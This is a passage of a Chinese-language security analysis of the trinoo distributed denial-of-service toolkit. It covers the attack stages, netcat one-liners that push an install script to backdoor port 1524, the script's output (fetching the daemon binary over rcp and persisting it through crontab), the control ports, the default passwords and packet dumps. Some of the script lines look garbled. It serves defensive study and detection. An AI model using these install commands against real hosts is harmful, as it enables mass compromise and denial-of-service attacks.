简
介
--------
本文是对拒绝服务攻击工具包trinoo中主/从程序服务器的一些分析。
Trinoo守护程序的二进制代码包最初是在一些Solaris 2.x主机中发现的,这些主机是被攻击者利用RPC服务安全漏洞"statd"、"cmsd"和"ttdbserverd"入侵的。关于这些漏洞的详细资料请参阅CERT事件记录99-04:
http://www.cert.org/incident_notes/IN-99-04.html
最初的trinoo守护程序来源于某些基于UDP协议和有访问控制的远程命令shell,并很有可能附带有能自动记录的嗅探器(sniffer)。
在研究这个工具包的过程中,捕获到了Trinoo攻击网络的安装过程及一些源代码。我们就是利用这些捕获到的源代码进入了深入的分析。
对这些源代码的任何修改,如提示、口令、命令、TCP/UDP端口号或所支持的攻击方法、签名和具体功能,都可能使分析的结果与本文不同。
该守护程序是在Solaris 2.5.1和Red Hat Linux 6.0上编译并运行。主服务器 (master) 在Red Hat Linux 6.0上编译和运行。但也许守护程序和主服务器都可在其它同类平台中使用。
Trinoo网络可能包含几百、甚至几千台已被入侵的互联网主机组成。这些主机很可能都被装上了各种"后门"以方便再次进入系统。
在1999年8月17日,一个由至少227台主机(其中114台属于Internet2主机)组成的trinoo网络攻击了位于明尼苏达(Minnessota)大学的一台主机,其结果是该主机网络崩溃超过两天。而在调查这次攻击期间,又有至少16台其它主机被攻击,其中包括了一些美国以外的主机。(请参阅附录D以了解此次trinoo攻击的报告。
攻 击 过 程
-----------
一次典型的攻击过程很可能是这样的:
1)一个盗取来的帐号被用于编译各种扫描工具、攻击工具(如缓冲区溢出程序)、rootkit和sniffer、trinoo守护程序、主服务器、入侵主机、目标主机清单等等。这个系统往往是一些拥有很多用户、存在管理漏洞和具有高速连接速率(以进行文件传输)的大型主机系统。
2)然后对一个大范围的网络进行扫描以确定潜在的入侵目标。最有可能的是那些可能存在各种远程缓冲区溢出漏洞的主机,如wu-ftpd、RPC服务(cmsd, statd,ttdbserverd,amd)等。这些主机的操作系统最好是Sun Solaris 2.x和Linux,以便充分利用各种现成的rootkits和后门程序等。如果是其它系统则可用来保存工具和记录。
3)在得到入侵主机清单后,编写实现入侵攻击、监听TCP端口(通常为1524"ingreslock")和连接到该端口以确定入侵成功的脚本程序。或者通过发送电子邮件到一个免费WEB邮箱以确认已入侵该主机。
入侵完成后将产生一个"被控制"主机清单,这些主机将被用于放置后门、sniffer或trinoo守护程序或trinoo主服务器。
4)从已入侵系统清单中选出满足建立trinoo网络需要的主机,放置已编译好的trinoo守护程序。
5)最后,运行DoS攻击脚本,该脚本根据上面建立的被入侵主机清单,生成另外的脚本程序,在后台以最快的速度自动安装。脚本使用"netcat"将shell脚本发送到被入侵主机的1524/tcp端口。
---------------------------------------------------------------------------
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
./trin.sh | nc 128.aaa.167.219 1524 &
./trin.sh | nc 128.aaa.187.38 1524 &
./trin.sh | nc 128.bbb.2.80 1524 &
./trin.sh | nc 128.bbb.2.81 1524 &
./trin.sh | nc 128.bbb.2.238 1524 &
./trin.sh | nc 128.ccc.12.22 1524 &
./trin.sh | nc 128.ccc.12.50 1524 &
. . .
---------------------------------------------------------------------------
其中的"trin.sh"脚本产生如下输出:
---------------------------------------------------------------------------
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"
echo "chmod +x /usr/sbin/rpc.listen"
echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"
cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
---------------------------------------------------------------------------
只要时常检查crontab文件,可以轻易监测到该主机是否已被trinoo侵入。
在其它系统还发现了另一种方法:守护程序的名字被改为"xterm",然后通过脚本执行它。
---------------------------------------------------------------------------
cd /var/adm/.1
PATH=.:$PATH
export PATH&1
---------------------------------------------------------------------------
在这个守护程序中通过运行脚本来完成trinoo网络的建立是完全有可能的。
更隐蔽的方法是让trinoo守护程序/主服务器只在某个给定时间才被唤醒运行,并打开监听的TCP或UDP端口。
整个自动安装过程使攻击者在极短的时间内,利用大量的被入侵主机建立了拒绝服务攻击网络。
6)作为一种选择,rootkit常常被安装到系统中以隐藏攻击程序、文件和网络连接。这对运行主服务器的系统更为重要,因为它是trinoo网络的核心部份。(注:在许多情况下,主服务器往往被安装在互联网服务供应商(ISP)的域名服务器上,DNS服务器大量的通讯流量、大量的TCP/UDP连接,将为隐蔽trinoo的网络连接、攻击过程和文件存放提供非常有利的帮助。(此外,除非能确定在域名服务器中存在拒绝服务工具的行为,否则系统管理员一般不会轻易中断系统服务进行安全检查。)
Rootkits也可能在安装了sniffer的系统中使用,例如"hunt"(TCP/IP会话监视器)等可直接窃听网络通讯细节的程序。这样就不用通过远程缓冲区溢出程序进入系统了。:)
要想得到更多关于rootkits的资料,请访问以下网址:
http://staff.washington.edu/dittrich/faq/rootkits.faq
目标主机
------------------------------------------------------------
Trinoo网络由主服务器(master.c)和trinoo守护程序(ns.c)组成。一个典型的trinoo网络结构如下:
攻击者常常控制一个或多个"主服务器"服务器,而每一个"主服务器"服务器控制多个"守护程序"(我们可以称之为广播主机"Bcast/broadcast")。所有接收到指令的守护程序都使用攻击数据包同时攻击一个或多个目标主机系统。
Trinoo如何实现这个功能呢?是攻击者与主服务器通过"telnet"协议建立TCP连接,并通过发送带有口令的攻击指令,实现大范围、大流量、并发性的拒绝服务攻击。
通 讯 端 口
-----------
攻击者到主服务器:
27665/TCP
主服务器到守护程序:
27444/UDP
守护程序到主服务器:
31335/UDP
Trinoo主服务器的远程控制是通过在27665/TCP端口建立TCP连接实现的。在连接建立后时,用户必须提供正确的口令("betaalmostdone")。如果在已有人通过验证时又有另外的连接建立,则一个包含正在连接IP地址的警告信息会发送到已连接主机(程序提供的IP地址似乎有错,但警告信息仍被发送)。毫无疑问地,这个功能最终的完整实现将能给予攻击者足够的时间在离开之前清除痕迹。
从trinoo主服务器到守护程序的连接是在27444/UDP端口上实现。命令行格式如下:
arg1 password arg2
其中缺省的口令是"l44adsl",只有包含此口令子串"l44"的命令行会被执行。
从trinoo守护程序到主服务器的连接是在31335/UDP端口上实现。
当守护程序启动时,它将发送初始化字符串"*HELLO*"到主服务器。主服务器会(通过"sniffit"程序捕获)记录并维护已激活的守护程序清单:
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
4C L 4F O 2A *
如果trinoo主服务器通过27444/UDP端口向一个守护程序发送"png"命令,该守护程序将通过31335/UDP端口向发送"png"命令的主机返回字符串"PONG":
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
45 E 00 . 00 . 20
13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G
口 令 保 护
-----------